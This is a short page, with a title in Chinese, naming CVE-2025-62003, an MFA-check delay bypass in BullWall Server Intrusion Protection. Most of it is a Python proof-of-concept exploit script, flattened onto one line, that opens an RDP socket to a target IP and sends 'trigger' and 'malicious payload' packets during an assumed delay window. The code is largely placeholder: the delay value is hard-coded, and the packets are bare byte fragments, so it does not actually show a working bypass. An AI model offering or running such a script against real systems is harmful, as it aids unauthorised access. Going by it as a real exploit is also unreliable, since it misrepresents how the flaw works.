CVE-2025-62003 BullWall Server Intrusion Protection MFA检查延迟绕过漏洞

# CVE-2025-62003 PoC - BullWall MFA Bypass # This PoC demonstrates the timing vulnerability in MFA check import socket import time import sys def exploit_mfa_bypass(target_ip, target_port=3389): """ Exploit MFA bypass vulnerability by sending commands during delay window. Prerequisites: - Valid credentials for target system - BullWall Server Intrusion Protection with vulnerable configuration """ print(f"[*] Connecting to {target_ip}:{target_port}") # Step 1: Establish initial RDP connection with valid credentials sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, target_port)) print("[+] Initial RDP connection established") # Step 2: Trigger MFA check send_mfa_trigger(sock) print("[+] MFA check triggered, delay window opened") # Step 3: Calculate delay - configuration dependent, typically 1-5 seconds delay_time = get_mfa_delay_config(target_ip) print(f"[*] Detected MFA delay: {delay_time} seconds") # Step 4: Execute malicious commands during delay window start_time = time.time() while time.time() - start_time < delay_time: send_exploit_payload(sock) time.sleep(0.1) print("[+] Exploit completed during MFA delay window") sock.close() def send_mfa_trigger(sock): """Send MFA trigger packet""" mfa_packet = b'\x03\x00\x00\x0b\x06\xe0\x00\x00\x00\x00\x00' sock.send(mfa_packet) def get_mfa_delay_config(target_ip): """Retrieve MFA delay configuration from BullWall""" # In real attack, this would query BullWall configuration return 3.0 # Default delay in seconds def send_exploit_payload(sock): """Send malicious payload during delay window""" # Payload to execute during MFA bypass window exploit_packet = b'\x03\x00\x00\x15\x02\xf0\x80\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' sock.send(exploit_packet) if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-62003.py <target_ip>") sys.exit(1) exploit_mfa_bypass(sys.argv[1])